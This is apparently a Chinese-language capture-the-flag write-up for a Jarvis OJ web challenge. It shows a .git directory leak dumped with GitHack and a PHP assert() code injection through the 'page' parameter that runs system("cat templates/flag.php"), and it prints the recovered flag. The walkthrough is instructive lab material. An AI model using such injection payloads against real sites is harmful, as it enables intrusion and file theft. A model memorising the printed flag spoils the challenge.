题目地址
http://web.jarvisoj.com:32798/
首先先观察网页,点击about发现下面包含这些
看到GIT,那么基本可以明确这题有.git泄露,我们用GitHack来获取源码分析
首先下载GitHack(这里用kali),然后执行获取源码
git clone https://github.com/lijiejie/GitHack
python GitHack.py http://web.jarvisoj.com:32798/.git
得到以下两个文件,flag.php在templates,打开之后,并不能看到什么,那么我们去寻找index.php找线索
打开index.php
我们看看assert函数,官方定义
assert ( mixed $assertion [, Throwable $exception ] ) assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动
就是说如果
assertion
是字符串,它将会被 assert() 当做 PHP 代码来执行那么我们就可以构造payload
?page='.system("cat templates/flag.php").'
发现还是不行,右击查看源码或者直接F12,因为flag被注释了,所以在网页看不到
$FLAG = '61dctf{8e_careful_when_us1ng_ass4rt}
这题考察git泄露和assert函数
git泄露可以用githack获取源码
当 assertion
是字符串的时候,assert()函数可以当成PHP代码执行